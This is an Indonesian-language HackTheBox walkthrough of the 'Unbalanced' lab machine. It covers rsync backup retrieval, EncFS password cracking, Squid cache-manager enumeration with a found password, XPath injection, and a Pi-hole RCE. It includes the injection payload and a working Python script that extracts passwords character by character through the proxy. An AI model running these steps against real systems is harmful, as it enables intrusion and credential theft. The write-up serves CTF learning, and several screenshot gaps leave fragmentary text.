HackTheBox. Walkthrough Tidak Seimbang. Rsync, EncFS, Squid, XPath injection dan RCE di Pi-hole



Saya terus menerbitkan solusi yang dikirim ke penyelesaian mesin dari situs HackTheBox .



Pada artikel ini, kita berurusan dengan cadangan di rsync, menebak kata sandi untuk EncFS, bekerja dengan server proxy squid, mengeksploitasi injeksi XPath dan mengeksploitasi RCE di Pi-hole.



Informasi organisasi
, , Telegram . , , .



. , - , .



Pengintai



Mesin ini memiliki alamat IP 10.10.10.200, yang saya tambahkan ke / etc / hosts.



10.10.10.200 	unbalanced.htb
      
      





Langkah pertama adalah memindai port yang terbuka. Saya melakukan ini menggunakan skrip berikut, yang mengambil satu argumen - alamat host yang dipindai:



#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
      
      









Dan kami mengamati layanan proxy SSH, rsync dan squid. Rsync adalah program untuk sistem mirip UNIX yang menyinkronkan file dan direktori di dua lokasi sambil meminimalkan lalu lintas. Rsync dapat menyalin atau menampilkan konten direktori dan menyalin file, secara opsional menggunakan kompresi dan rekursi.



Mari kita lihat daftar modul yang tersedia.



rsync --list-only rsync://unbalanced.htb:873
      
      









Salin conf_backups.



rsync -av rsync://unbalanced.htb:873/conf_backups conf_backups
      
      









Dengan adanya file .encfs6.xml, kami memahami bahwa ini adalah volume yang dienkripsi EncFS. Mari kita dapatkan hash kata sandi.







Dan mari kita selesaikan.







Jadi, kami mendapatkan kata sandi yang digunakan untuk enkripsi. Tetap memasang partisi.







Dan kami mendapatkan daftar file normal.







Ini sebagian besar adalah file konfigurasi, dan kami paling tertarik dengan squid.conf. Mari kita lihat semua baris yang tidak diberi komentar.



cat squid.conf | grep -v '^#' | uniq
      
      













Kami menyimpan kata sandi dan menandai nama domain baru, yang kami tambahkan ke / etc / hosts. Kami juga melihat ACL.



10.10.10.200    intranet.unbalanced.htb
      
      





Mari instal proxy di browser dan gunakan nama domain yang ditemukan untuk menghubungi server web.







Kami disambut oleh formulir otorisasi. Setelah menghabiskan beberapa waktu bersamanya, diputuskan untuk terus bekerja dengan cumi-cumi.



Titik masuk



Mari kita lihat opsi yang tersedia.



squidclient -h 10.10.10.200 -w 'Thah$Sh1' mgr:menu | grep -v 'disabled'
      
      









Dan kami dapat menemukan lebih banyak nama domain.



squidclient -h 10.10.10.200 -w 'Thah$Sh1' mgr:fqdncache
      
      









Dan ada tiga nama lagi. Kami menambahkannya ke / etc / hosts (yang terakhir dipilih secara logis).



172.31.179.2    intranet-host2.unbalanced.htb 
172.31.179.3    intranet-host3.unbalanced.htb
172.31.179.1    intranet.unbalanced.htb
      
      





Dan pada awalnya kami melihat bahwa situs ini adalah solusi sementara.







Kemudian kami mendapatkan formulir otorisasi yang sama.



PENGGUNA



Kami mengujinya lagi dan mendapatkan respons untuk permintaan 'atau' '='.











Dan kami mendapatkan daftar pengguna. Ini adalah injeksi XPath. Faktanya adalah bahwa dengan bantuan kueri tertentu kita dapat mengetahui kata sandi pengguna untuk nama-nama ini.



Jadi untuk memulainya, Anda dapat menentukan panjang kata sandi menggunakan fungsi string-length. Pengujian saat login. Kita tahu bahwa panjang yang benar adalah 5, coba kondisi dengan 4 dan dengan 5 dan lihat perbedaannya.











Perbedaannya terlihat. Setelah menentukan panjangnya, kita bisa mendapatkan kata sandi satu karakter dalam satu waktu. Kami juga menguji pada login. Ambil huruf pertama dan bandingkan dengan 'a' dan kemudian dengan 'b'.











Perbedaannya juga terlihat. Mari tulis kode yang akan menyortir semua kata sandi untuk setiap login dengan cara yang sama.



import requests
import string

url = 'http://172.31.179.1/intranet.php'
proxies = {'http':'http://10.10.10.200:3128'}
users = ['bryan','sarah', 'jim', 'rita']

pass_str_len = "' or Username='USER' and string-length(Password)='"
pass_str_chr = "' or Username='USER' and substring(Password,NUM,1)='"

for user in users:
    for l in range(1,25):
        data = {'Username': '', 'Password': pass_str_len.replace('USER', user) + str(l) }
        request = requests.post(url=url, data=data, proxies=proxies)
        print('(' + str(l) + ') ' + user + ' : ' + ' '*10, end="\r")
        if 'Invalid credentials.' not in request.text:
            passwd = ''
            for num in range(l):
                for c in string.printable[:94]:
                    data = {'Username': '', 'Password': pass_str_chr.replace('USER', user).replace('NUM', str(num+1)) + c }
                    request = requests.post(url=url, data=data, proxies=proxies)
                    print('(' + str(l) + ') ' + user + ' : ' + passwd + c +' '*10, end='\r')
                    if 'Invalid credentials.' not in request.text:
                        passwd += c
                        break
            print(user +" : "+ passwd + " "*10)
            break
      
      









Dan pengguna pertama memiliki akses SSH dengan kata sandi yang ditemukan.







AKAR



Temukan daftar TODO di direktori home pengguna.







Dan kita dapat melihat bahwa tugas-tugas yang terkait dengan Pi-hole (admin kata sandi) belum selesai. Tetapi tidak mungkin untuk melihat port yang terbuka, karena netstat tidak ada. Kemudian Anda dapat menggunakan skrip ini .







Port 8080 dan 5553 terbuka,











dan dalam jawabannya kami menemukan domain lain dan IP yang sesuai. Mari jatuhkan port dan pergi melalui browser.



ssh -L 8080:127.0.0.1:8080 bryan@unbalanced.htb
      
      









Buka halaman dan masuk dengan admin kata sandi. Di bagian paling bawah kita melihat versinya.







Mari kita lihat eksploitasi.











Mari mulai pendengar dan jalankan eksploit.











Mari kita lihat file root dan temukan skrip yang disebutkan dalam daftar TODO.











Ini berisi kata sandi.







Anda dapat bergabung dengan kami di Telegram . Di sana Anda dapat menemukan materi, laporan, bocoran kursus, dan perangkat lunak yang menarik. Mari kita kumpulkan komunitas, di dalamnya akan ada orang-orang yang berpengalaman di banyak bidang IT, kemudian kita selalu bisa saling membantu dalam setiap masalah IT dan keamanan informasi.



All Articles